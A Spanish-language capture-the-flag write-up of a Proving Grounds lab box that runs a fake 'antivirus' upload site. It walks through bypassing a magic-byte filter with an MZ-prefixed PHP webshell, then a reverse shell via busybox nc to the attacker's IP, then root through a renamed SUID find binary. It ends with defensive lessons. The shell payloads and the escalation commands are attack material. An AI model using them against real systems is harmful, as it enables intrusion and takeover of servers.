the_open_door
café
ESEN

Mzeeav

Proving Grounds PracticeMediaLinux192.168.205.33

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#file-upload#magic-bytes#mz-header#php-webshell#source-code-disclosure#suid#find#gtfobins#oscp
TL;DR. Mzeeav publica un "antivirus online" que solo acepta ejecutables PE. Un /backups/backup.zip filtra el código de upload.php y revela que el filtro se limita a buscar los magic bytes MZ (4D5A) dentro del fichero. Anteponemos esa cabecera a una webshell PHP (bypass por magic bytes), pasamos el control y ejecutamos comandos como www-data (subida de fichero a RCE). Para root, un binario SUID a medida, /opt/fileS, no es más que un find renombrado: su -exec nos da una shell privilegiada (abuso de binarios SUID).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo solo encuentra dos puertos:

ping -c 1 192.168.205.33
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.205.33
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.205.33 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: MZEE-AV - Check your files

MZEE-AV - TCP 80

El 80 sirve MZEE-AV, un supuesto motor antivirus que invita a subir ficheros PE ("Check your PE-files with the online AV engine"). Hay un formulario de subida y un mensaje que ya adelanta la restricción: solo quiere ejecutables de Windows.

Portada de MZEE-AV con banner ASCII, botones Browse/Upload y el lema Check your PE-files with the online AV engine

Un dirsearch descubre las rutas de interés: el directorio de subidas /upload/, la propia upload.php y, sobre todo, un /backups/:

dirsearch -u http://192.168.205.33 -t 200 --exclude-status=404,403,503

dirsearch v0.4.3 encuentra /backups, /backups/, /upload, /upload.php y /upload/ en el objetivo

[21:37:06] 301 - /backups   ->  http://192.168.205.33/backups/
[21:37:06] 200 - /backups/
[21:37:22] 301 - /upload    ->  http://192.168.205.33/upload/
[21:37:22] 200 - /upload.php
[21:37:22] 200 - /upload/

Fuga del código fuente

/backups/ tiene directory listing activo y expone un backup.zip:

Índice de /backups con backup.zip disponible para descarga

Al descomprimirlo aparece el árbol de la aplicación, incluido el código de la lógica de subida:

wget http://192.168.205.33/backups/backup.zip
unzip backup.zip
var/www/html/upload/wget.exe
var/www/html/upload/whoami.exe
var/www/html/listing.php
var/www/html/upload.php

Leer upload.php es la clave. El script guarda el fichero, lee sus dos primeros bytes y comprueba que, en hexadecimal, contengan 4D5A (los magic bytes MZ de todo ejecutable PE). Si no aparecen, rechaza la subida:

Código de upload.php: comprueba que los magic bytes contengan 4D5A con strpos, si no bloquea el fichero

El detalle demoledor es que la comprobación usa strpos($magicbytes, '4D5A') === false: solo exige que la cadena MZ esté presente al inicio, sin validar el tipo real ni la extensión. Un .php que empiece por MZ pasa el filtro.

Explotación

Bypass del filtro con cabecera MZ

Construimos una webshell que empiece con los magic bytes MZ (4D 5A ...) y a continuación lleve el PHP. La secuencia 4D 5A 4E 47 0D 0A 1A 0A deja los dos primeros bytes en MZ (satisface el filtro) y el <?php ...> se ejecuta igual, porque PHP procesa las etiquetas donde estén (bypass por magic bytes):

echo '4D 5A 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php
echo '<?php system($_REQUEST["cmd"]); ?>' >> shell.php
xxd shell.php

xxd de shell.php: los bytes 4d5a al inicio, seguidos del codigo PHP system con el parametro cmd

00000000: 4d5a 4e47 0d0a 1a0a 3c3f 7068 7020 7379  MZNG....<?php sy
00000010: 7374 656d 2824 5f52 4551 5545 5354 5b63  stem($_REQUEST[c
00000020: 6d64 5d29 3b20 3f3e 0a                    md]); ?>.

Subimos shell.php con el formulario, seleccionándola en el campo Browse:

Formulario de MZEE-AV con shell.php seleccionada en Browse, lista para subir

listing.php la acepta y hasta la marca como "clean", confirmando que el filtro la dio por válida:

listing.php lista shell.php con su MD5 y la etiqueta seems to be clean

La webshell queda en /upload/shell.php. Con el parámetro cmd lanzamos una reverse shell (subida de fichero a RCE):

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 22

shell.php ejecuta el comando y devuelve una reverse shell como www-data en mzeeav

http://192.168.205.33/upload/shell.php?cmd=busybox nc 192.168.45.232 22 -e bash

La shell corre como www-data.

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como www-data en mzeeav (192.168.205.33)

fbe7d4abc36a4942eaac58f492b20f0c
www-data

Escalada de privilegios

SUID /opt/fileS: un find disfrazado

Buscamos binarios SUID y aparece uno fuera de lo común, /opt/fileS. Al ejecutarlo suelto lista el contenido del directorio actual, exactamente como haría find, lo que ya delata su naturaleza:

find / -perm -4000 2>/dev/null

find revela el SUID /opt/fileS; al ejecutarlo suelto lista el directorio actual como lo haría find

/opt/fileS
/usr/bin/sudo
/usr/bin/su
...

Al ejecutarlo con -help la ayuda lo confirma: menciona -exec, -execdir, -fprint, -prune... y remite a la documentación de GNU findutils. /opt/fileS no es un binario propio, es un find renombrado con el bit SUID puesto. find figura en GTFOBins: su parámetro -exec ejecuta comandos con los privilegios del propietario del binario, que aquí es root. Le pedimos que ponga el SUID a /bin/bash y abrimos una shell que conserva el UID efectivo de root (abuso de binarios SUID):

/opt/fileS -help | tail -n 15
/opt/fileS -exec chmod u+s /bin/bash \;
ls -l /bin/bash
bash -p

el -help delata GNU findutils; -exec chmod u+s /bin/bash y bash -p abren una shell como root

-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en mzeeav

479093c96c2c236e1b694be6ee7100ed
root

Cadena de ataque

HTTP (80)  --  MZEE-AV, filtro de subida por magic bytes
        │  /backups/backup.zip filtra upload.php (solo exige "MZ"/4D5A)
        │  webshell con cabecera MZ -> /upload/shell.php?cmd=
        ▼
www-data  (local.txt)
        │  SUID /opt/fileS = find renombrado -> -exec chmod u+s /bin/bash
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Validar por magic bytes no valida el tipo. Comprobar que un fichero empieza por MZ no impide que sea PHP ejecutable: el intérprete corre las etiquetas <?php estén donde estén. La defensa real es no servir el directorio de subidas como PHP, forzar extensiones seguras y guardar fuera del webroot.
  • Nunca dejar copias de seguridad en el webroot. El /backups/backup.zip accesible entregó el código fuente y, con él, la lógica exacta del filtro. Un directory listing abierto lo puso en bandeja.
  • Renombrar un binario no cambia lo que hace. /opt/fileS seguía siendo find; el bit SUID sobre él equivale al find de GTFOBins. Los SUID a medida deben auditarse igual que los del sistema.
Cheatsheet de comandos 8 comandos

Repaso rápido